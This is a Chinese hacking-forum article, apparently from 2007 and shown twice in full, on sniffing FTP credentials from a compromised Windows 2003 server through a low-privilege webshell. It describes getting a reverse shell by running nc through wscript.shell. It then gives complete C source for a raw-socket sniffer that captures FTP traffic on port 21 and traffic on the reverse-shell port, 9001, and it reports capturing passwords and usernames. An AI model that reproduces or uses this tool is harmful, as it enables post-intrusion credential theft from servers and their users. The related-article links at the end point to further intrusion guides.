基于Webshell的sniffer可行性研究(圖)
更新時(shí)間：2007年01月16日 00:00:00 作者：
前言:
幻影Mix修改的flashsky的那個(gè)端口復(fù)用下的嗅探serv-u,經(jīng)測(cè)試,不能用于win2003服務(wù)器中,具體我也不知道,不知道是不是操作有識(shí),反正我是沒(méi)成功過(guò).
我自己構(gòu)造了一個(gè)環(huán)境試了一下,嗅探程序是自己寫的,利用raw進(jìn)行嗅探,如果要arp的話,要裝那個(gè)wincap,想一想那么低的權(quán)限是不可能的.
實(shí)驗(yàn)環(huán)境:
Windows2003服務(wù)器+海洋2006+serv-u5.2
服務(wù)器不能直接使用cmd.exe,但可以上傳后利用wscript.shell組件執(zhí)行命令.
實(shí)驗(yàn)步驟:
1.利用wcript.shell執(zhí)行nc 反彈得到shell
2.利用自編寫工具進(jìn)行嗅探(我只嗅探21和9001,其中21為ftp,9001為反彈端口)
/*------------------------------------------------------
*FIle: SnifferFtp.c
*Effect: 用于在webshell進(jìn)行嗅探實(shí)驗(yàn)之用,基于Raw
*Code: Huai_Huai
*Page: Http://hhuai.cn
*Date: 2006.1.12
*-----------------------------------------------------*/
#include <stdio.h>
#include <string.h>
#include "Winsock2.h"
#pragma comment(lib,"WS2_32.lib")
#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)
#define STATUS_FAILED 0xFFFF
#define MAX_PACK_LEN 65535
#define MAX_ADDR_LEN 16
#define MAX_HOSTNAME_LEN 255
//定義ip報(bào)頭
typedef struct _iphdr
{
byte ver_len; //版本4位,頭長(zhǎng)度4位,報(bào)頭長(zhǎng)度以32位為一個(gè)單位
byte type; //類型8位
byte length[2]; //總長(zhǎng)度,16位,指出報(bào)文的以字節(jié)為單位的總長(zhǎng)度
//報(bào)文長(zhǎng)度不能超過(guò)65536個(gè)字接，否則認(rèn)為報(bào)文遭到破壞
byte id[2]; //報(bào)文標(biāo)示,用于多于一個(gè)報(bào)文16位
byte flag_offset[2];//標(biāo)志,3位 數(shù)據(jù)塊偏移13位
byte time; //生存時(shí)間,8位
byte protocol; //協(xié)議,8位
byte crc_val[2]; //頭校驗(yàn)和，16位
byte src_addr[4]; //源地址,32位
byte tar_addr[4]; //目標(biāo)地址,32位
byte options[4]; //選項(xiàng)和填充,32位
}IP_HEADER;
typedef struct _tcphdr
{
byte source_port[2]; //發(fā)送端端口號(hào),16位
byte dest_port[2]; //接收端端口號(hào),16位
byte sequence_no[4]; //32位，標(biāo)示消息端的數(shù)據(jù)位于全體數(shù)據(jù)塊的某一字節(jié)的數(shù)字
byte ack_no[4]; //32位，確認(rèn)號(hào),標(biāo)示接收端對(duì)于發(fā)送端接收到數(shù)據(jù)塊數(shù)值
unsigned char offset_reser_con;//數(shù)據(jù)偏移4位，預(yù)留6位，控制位6為
unsigned char th_flag;
byte window[2]; //窗口16位
byte checksum[2]; //校驗(yàn)碼,16位
byte urgen_pointer[2]; //16位，緊急數(shù)據(jù)指針
byte options[3]; //選祥和填充,32位
}TCP_HEADER;
#define PROTOCOL_ICMP 1 //傳輸控制協(xié)議
#define PROTOCOL_GTG 3 //Gateway-to-Gateway
#define PROTOCOL_CGMM 4 //CMCC Gateway Monitoring Message
#define PROTOCOL_ST 5 //ST
#define PROTOCOL_TCP 6 //傳輸控制協(xié)議
#define PROTOCOL_UCL 7 //UCL
#define PROTOCOL_SECURE 9 //secure
#define PROTOCOL_BRM 10 //BBN RCC Monitoring
#define PROTOCOL_NVP 11 //NVp
#define PROTOCOL_PUP 12 //PUP
#define PROTOCOL_PLURIBUS 13 //Pluribus
#define PROTOCOL_TELENET 14 //Telenet
#define PROTOCOL_XNET 15 //XNET
#define PROTOCOL_CHAOS 16 //Chaos
#define PROTOCOL_UDP 17 //UDP
#define PROTOCOL_MULTIPLEXING 18 //Multiplexing
#define PROTOCOL_DCN 19 //DCN
#define PROTOCOL_TAC_MONITORING 20 //TAC Monitoring
#define PROTOCOL_ALN 63 //any local network
#define PROTOCOL_SATNET 64 //SATNET and Backroom EXPAK
#define PROTOCOL_MITSS 65 //MIT Subnet Support
#define PROTOCOL_SATNET_MONIT 69 //SATNET Monitoring
#define PROTOCOL_IPCU 71 //Internet Packet Core Utility
#define PROTOCOL_BK_SATNET_MONI 76 //Backroom SATNET Monitoring
#define PROTOCOL_WIDEBAND_MONI 78 //WIDEBAND Monitoring
#define PROTOCOL_WIDEBAND_EXPAK 79 //WIDEBAND EXPAK
SOCKET SocketRaw;
void startsniffer()
{
char RecvBuf[MAX_PACK_LEN]={0};
char FAR name[MAX_HOSTNAME_LEN];
WSADATA wsa;
struct hostent FAR* pHostent;
SOCKADDR_IN sa;
DWORD OutBuffer[10];
DWORD InBuffer=1;
DWORD BytesReturned=0;
if(WSAStartup(MAKEWORD(2,2),&wsa)!=0)
{
printf("不能加載Winsock DLL!");
exit(0);
}
SocketRaw=socket(AF_INET,SOCK_RAW,IPPROTO_IP);
if(SocketRaw==INVALID_SOCKET)
{
printf("不能創(chuàng)建Socket!");
exit(0);
}
gethostname(name,MAX_HOSTNAME_LEN);
//這里會(huì)自動(dòng)分配內(nèi)存
pHostent=gethostbyname(name);
sa.sin_family=AF_INET;
sa.sin_port=htons(6000);
memcpy(&sa.sin_addr.S_un.S_addr,pHostent->h_addr_list[0],pHostent->h_length);
if(bind(SocketRaw,(PSOCKADDR)&sa,sizeof(sa))!=0)
{
printf("不能綁定網(wǎng)卡!");
closesocket(SocketRaw);
exit(0);
}
if(WSAIoctl(SocketRaw,SIO_RCVALL,&InBuffer,sizeof(InBuffer),
&OutBuffer,sizeof(OutBuffer),&BytesReturned,NULL,NULL)!=0)
{
printf("不能創(chuàng)建WSAIoctl!");
closesocket(SocketRaw);
exit(0);
}
}
int ReceiveBuf(byte* buf,int len)
{
return recv(SocketRaw,(char *)buf,len,0);
}
void main()
{
int len;
byte RecvBuf[65535];
char buf[16];
int iphdr_len;
TCP_HEADER* pTcpHeader;
unsigned __int16 src_port;
unsigned __int16 dest_port;
int HdrLen;
__int16 datalen;
IP_HEADER* pIpheader;
int port1,port2;
startsniffer();
while(TRUE)
{
port1=port2=0;
memset(RecvBuf,0,65535);
len=ReceiveBuf(RecvBuf,65535);
if(len>0)
{
pIpheader=(IP_HEADER*)RecvBuf;
/*
switch(pIpheader->protocol)
{
case PROTOCOL_ICMP:
printf("ICMP");
break;
case PROTOCOL_TCP:
printf("TCP");
break;
case PROTOCOL_UDP:
printf("UDP");
break;
default:
printf("其他協(xié)議");
break;
}
*/
if(pIpheader->protocol==PROTOCOL_TCP)
{
iphdr_len=(pIpheader->ver_len&0xf)*4;
pTcpHeader=(TCP_HEADER*)(RecvBuf+iphdr_len);
src_port=pTcpHeader->source_port[0]*0x100+pTcpHeader->source_port[1];
dest_port=pTcpHeader->dest_port[0]*0x100+pTcpHeader->dest_port[1];
memset(buf,0,16);
sprintf(buf,"%d",src_port);
port1=src_port;
//printf("%s ",buf);
memset(buf,0,16);
sprintf(buf,"%d",dest_port);
port2=dest_port;
//printf("%s ",buf);
if(port1==21 || port2==21 || port1==9001 || port2==9001)
{
HdrLen=(pTcpHeader->offset_reser_con)>>2;
memset(buf,0,16);
sprintf(buf,"%s",((BYTE *)pTcpHeader)+HdrLen);
//printf("%s ",buf);
memset(buf,0,16);
sprintf(buf,"%d.%d.%d.%d",pIpheader->src_addr[0],pIpheader->src_addr[1],pIpheader->src_addr[2],pIpheader->src_addr[3]);
//printf("%s ",buf);
memset(buf,0,16);
sprintf(buf,"%d.%d.%d.%d",pIpheader->tar_addr[0],pIpheader->tar_addr[1],pIpheader->tar_addr[2],pIpheader->tar_addr[3]);
//printf("%s ",buf);
datalen=pIpheader->length[0]*0x100+pIpheader->length[1];
memset(buf,0,16);
sprintf(buf,"%d",datalen);
//printf("%s ",buf);
HdrLen=(pTcpHeader->offset_reser_con)>>2;
memset(buf,0,16);
sprintf(buf,"%s",((BYTE *)pTcpHeader)+HdrLen);
printf("%s",buf);
//printf("\n");
}
}
}
}
}
3.嗅探結(jié)果:
=800) window.open(’/pic/22/a2006-3-1-621a6f.jpg’);" src="/college/UploadPic/2006/8/27/2006827234138485.jpg" onload="if(this.width > 800)this.width = 800;if(this.height > 800) this.height = 800;" border=0>
4.實(shí)驗(yàn)小結(jié):
確實(shí)可以嗅到一些信息,在本機(jī)winxp sp2可以嗅到ftp密碼,但在win2003服務(wù)器上運(yùn)行,就只能嗅到用戶名,利用webshell執(zhí)行的也可以嗅到用戶名,一些操作,比如用戶目錄什么的.
我們的webshell權(quán)限可以非常的低,只要能利用wscript.shell就行.
其中有許多細(xì)節(jié),需以后仔細(xì)的研究,萬(wàn)望論壇的高手能給予一點(diǎn)提示.(來(lái)源：邪惡八進(jìn)制信息安全團(tuán)隊(duì) 作者：壞壞)
幻影Mix修改的flashsky的那個(gè)端口復(fù)用下的嗅探serv-u,經(jīng)測(cè)試,不能用于win2003服務(wù)器中,具體我也不知道,不知道是不是操作有識(shí),反正我是沒(méi)成功過(guò).
我自己構(gòu)造了一個(gè)環(huán)境試了一下,嗅探程序是自己寫的,利用raw進(jìn)行嗅探,如果要arp的話,要裝那個(gè)wincap,想一想那么低的權(quán)限是不可能的.
實(shí)驗(yàn)環(huán)境:
Windows2003服務(wù)器+海洋2006+serv-u5.2
服務(wù)器不能直接使用cmd.exe,但可以上傳后利用wscript.shell組件執(zhí)行命令.
實(shí)驗(yàn)步驟:
1.利用wcript.shell執(zhí)行nc 反彈得到shell
2.利用自編寫工具進(jìn)行嗅探(我只嗅探21和9001,其中21為ftp,9001為反彈端口)
/*------------------------------------------------------
*FIle: SnifferFtp.c
*Effect: 用于在webshell進(jìn)行嗅探實(shí)驗(yàn)之用,基于Raw
*Code: Huai_Huai
*Page: Http://hhuai.cn
*Date: 2006.1.12
*-----------------------------------------------------*/
#include <stdio.h>
#include <string.h>
#include "Winsock2.h"
#pragma comment(lib,"WS2_32.lib")
#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)
#define STATUS_FAILED 0xFFFF
#define MAX_PACK_LEN 65535
#define MAX_ADDR_LEN 16
#define MAX_HOSTNAME_LEN 255
//定義ip報(bào)頭
typedef struct _iphdr
{
byte ver_len; //版本4位,頭長(zhǎng)度4位,報(bào)頭長(zhǎng)度以32位為一個(gè)單位
byte type; //類型8位
byte length[2]; //總長(zhǎng)度,16位,指出報(bào)文的以字節(jié)為單位的總長(zhǎng)度
//報(bào)文長(zhǎng)度不能超過(guò)65536個(gè)字接，否則認(rèn)為報(bào)文遭到破壞
byte id[2]; //報(bào)文標(biāo)示,用于多于一個(gè)報(bào)文16位
byte flag_offset[2];//標(biāo)志,3位 數(shù)據(jù)塊偏移13位
byte time; //生存時(shí)間,8位
byte protocol; //協(xié)議,8位
byte crc_val[2]; //頭校驗(yàn)和，16位
byte src_addr[4]; //源地址,32位
byte tar_addr[4]; //目標(biāo)地址,32位
byte options[4]; //選項(xiàng)和填充,32位
}IP_HEADER;
typedef struct _tcphdr
{
byte source_port[2]; //發(fā)送端端口號(hào),16位
byte dest_port[2]; //接收端端口號(hào),16位
byte sequence_no[4]; //32位，標(biāo)示消息端的數(shù)據(jù)位于全體數(shù)據(jù)塊的某一字節(jié)的數(shù)字
byte ack_no[4]; //32位，確認(rèn)號(hào),標(biāo)示接收端對(duì)于發(fā)送端接收到數(shù)據(jù)塊數(shù)值
unsigned char offset_reser_con;//數(shù)據(jù)偏移4位，預(yù)留6位，控制位6為
unsigned char th_flag;
byte window[2]; //窗口16位
byte checksum[2]; //校驗(yàn)碼,16位
byte urgen_pointer[2]; //16位，緊急數(shù)據(jù)指針
byte options[3]; //選祥和填充,32位
}TCP_HEADER;
#define PROTOCOL_ICMP 1 //傳輸控制協(xié)議
#define PROTOCOL_GTG 3 //Gateway-to-Gateway
#define PROTOCOL_CGMM 4 //CMCC Gateway Monitoring Message
#define PROTOCOL_ST 5 //ST
#define PROTOCOL_TCP 6 //傳輸控制協(xié)議
#define PROTOCOL_UCL 7 //UCL
#define PROTOCOL_SECURE 9 //secure
#define PROTOCOL_BRM 10 //BBN RCC Monitoring
#define PROTOCOL_NVP 11 //NVp
#define PROTOCOL_PUP 12 //PUP
#define PROTOCOL_PLURIBUS 13 //Pluribus
#define PROTOCOL_TELENET 14 //Telenet
#define PROTOCOL_XNET 15 //XNET
#define PROTOCOL_CHAOS 16 //Chaos
#define PROTOCOL_UDP 17 //UDP
#define PROTOCOL_MULTIPLEXING 18 //Multiplexing
#define PROTOCOL_DCN 19 //DCN
#define PROTOCOL_TAC_MONITORING 20 //TAC Monitoring
#define PROTOCOL_ALN 63 //any local network
#define PROTOCOL_SATNET 64 //SATNET and Backroom EXPAK
#define PROTOCOL_MITSS 65 //MIT Subnet Support
#define PROTOCOL_SATNET_MONIT 69 //SATNET Monitoring
#define PROTOCOL_IPCU 71 //Internet Packet Core Utility
#define PROTOCOL_BK_SATNET_MONI 76 //Backroom SATNET Monitoring
#define PROTOCOL_WIDEBAND_MONI 78 //WIDEBAND Monitoring
#define PROTOCOL_WIDEBAND_EXPAK 79 //WIDEBAND EXPAK
SOCKET SocketRaw;
void startsniffer()
{
char RecvBuf[MAX_PACK_LEN]={0};
char FAR name[MAX_HOSTNAME_LEN];
WSADATA wsa;
struct hostent FAR* pHostent;
SOCKADDR_IN sa;
DWORD OutBuffer[10];
DWORD InBuffer=1;
DWORD BytesReturned=0;
if(WSAStartup(MAKEWORD(2,2),&wsa)!=0)
{
printf("不能加載Winsock DLL!");
exit(0);
}
SocketRaw=socket(AF_INET,SOCK_RAW,IPPROTO_IP);
if(SocketRaw==INVALID_SOCKET)
{
printf("不能創(chuàng)建Socket!");
exit(0);
}
gethostname(name,MAX_HOSTNAME_LEN);
//這里會(huì)自動(dòng)分配內(nèi)存
pHostent=gethostbyname(name);
sa.sin_family=AF_INET;
sa.sin_port=htons(6000);
memcpy(&sa.sin_addr.S_un.S_addr,pHostent->h_addr_list[0],pHostent->h_length);
if(bind(SocketRaw,(PSOCKADDR)&sa,sizeof(sa))!=0)
{
printf("不能綁定網(wǎng)卡!");
closesocket(SocketRaw);
exit(0);
}
if(WSAIoctl(SocketRaw,SIO_RCVALL,&InBuffer,sizeof(InBuffer),
&OutBuffer,sizeof(OutBuffer),&BytesReturned,NULL,NULL)!=0)
{
printf("不能創(chuàng)建WSAIoctl!");
closesocket(SocketRaw);
exit(0);
}
}
int ReceiveBuf(byte* buf,int len)
{
return recv(SocketRaw,(char *)buf,len,0);
}
void main()
{
int len;
byte RecvBuf[65535];
char buf[16];
int iphdr_len;
TCP_HEADER* pTcpHeader;
unsigned __int16 src_port;
unsigned __int16 dest_port;
int HdrLen;
__int16 datalen;
IP_HEADER* pIpheader;
int port1,port2;
startsniffer();
while(TRUE)
{
port1=port2=0;
memset(RecvBuf,0,65535);
len=ReceiveBuf(RecvBuf,65535);
if(len>0)
{
pIpheader=(IP_HEADER*)RecvBuf;
/*
switch(pIpheader->protocol)
{
case PROTOCOL_ICMP:
printf("ICMP");
break;
case PROTOCOL_TCP:
printf("TCP");
break;
case PROTOCOL_UDP:
printf("UDP");
break;
default:
printf("其他協(xié)議");
break;
}
*/
if(pIpheader->protocol==PROTOCOL_TCP)
{
iphdr_len=(pIpheader->ver_len&0xf)*4;
pTcpHeader=(TCP_HEADER*)(RecvBuf+iphdr_len);
src_port=pTcpHeader->source_port[0]*0x100+pTcpHeader->source_port[1];
dest_port=pTcpHeader->dest_port[0]*0x100+pTcpHeader->dest_port[1];
memset(buf,0,16);
sprintf(buf,"%d",src_port);
port1=src_port;
//printf("%s ",buf);
memset(buf,0,16);
sprintf(buf,"%d",dest_port);
port2=dest_port;
//printf("%s ",buf);
if(port1==21 || port2==21 || port1==9001 || port2==9001)
{
HdrLen=(pTcpHeader->offset_reser_con)>>2;
memset(buf,0,16);
sprintf(buf,"%s",((BYTE *)pTcpHeader)+HdrLen);
//printf("%s ",buf);
memset(buf,0,16);
sprintf(buf,"%d.%d.%d.%d",pIpheader->src_addr[0],pIpheader->src_addr[1],pIpheader->src_addr[2],pIpheader->src_addr[3]);
//printf("%s ",buf);
memset(buf,0,16);
sprintf(buf,"%d.%d.%d.%d",pIpheader->tar_addr[0],pIpheader->tar_addr[1],pIpheader->tar_addr[2],pIpheader->tar_addr[3]);
//printf("%s ",buf);
datalen=pIpheader->length[0]*0x100+pIpheader->length[1];
memset(buf,0,16);
sprintf(buf,"%d",datalen);
//printf("%s ",buf);
HdrLen=(pTcpHeader->offset_reser_con)>>2;
memset(buf,0,16);
sprintf(buf,"%s",((BYTE *)pTcpHeader)+HdrLen);
printf("%s",buf);
//printf("\n");
}
}
}
}
}
3.嗅探結(jié)果:
=800) window.open(’/pic/22/a2006-3-1-621a6f.jpg’);" src="/college/UploadPic/2006/8/27/2006827234138485.jpg" onload="if(this.width > 800)this.width = 800;if(this.height > 800) this.height = 800;" border=0>
4.實(shí)驗(yàn)小結(jié):
確實(shí)可以嗅到一些信息,在本機(jī)winxp sp2可以嗅到ftp密碼,但在win2003服務(wù)器上運(yùn)行,就只能嗅到用戶名,利用webshell執(zhí)行的也可以嗅到用戶名,一些操作,比如用戶目錄什么的.
我們的webshell權(quán)限可以非常的低,只要能利用wscript.shell就行.
其中有許多細(xì)節(jié),需以后仔細(xì)的研究,萬(wàn)望論壇的高手能給予一點(diǎn)提示.(來(lái)源：邪惡八進(jìn)制信息安全團(tuán)隊(duì) 作者：壞壞)
相關(guān)文章
從后臺(tái)到webshell的一點(diǎn)思路...2007-01-01
關(guān)于oblog、動(dòng)易、風(fēng)訊等擁有源碼編輯的程序漏洞淺析
這篇文章主要介紹了關(guān)于oblog、動(dòng)易、風(fēng)訊等擁有源碼編輯的程序漏洞淺析2007-01-01
對(duì)RPC DCOM 蠕蟲(chóng)的設(shè)想
對(duì)RPC DCOM 蠕蟲(chóng)的設(shè)想...2007-01-01
文件上傳八大法－遠(yuǎn)程控制必看...2007-01-01
新型網(wǎng)絡(luò)攻擊威脅大量網(wǎng)站2007-01-01
首先必須感謝的X.G.C.Team的OPEN在幾個(gè)關(guān)鍵的地方給予我分析,解決辦法的幫助.與及咱們論壇好幾位兄弟的幫助.最終我才把這個(gè)東西給分析出來(lái)..2008-05-05
ETP 留言本v1.5爆出漏洞及利用方法...2007-01-01
四大漏洞入侵博客...2007-01-01
常用軟件加密寶典之一：?jiǎn)?dòng)加密(圖)...2007-01-01
Access的跨庫(kù)查詢 (圖)...2007-01-01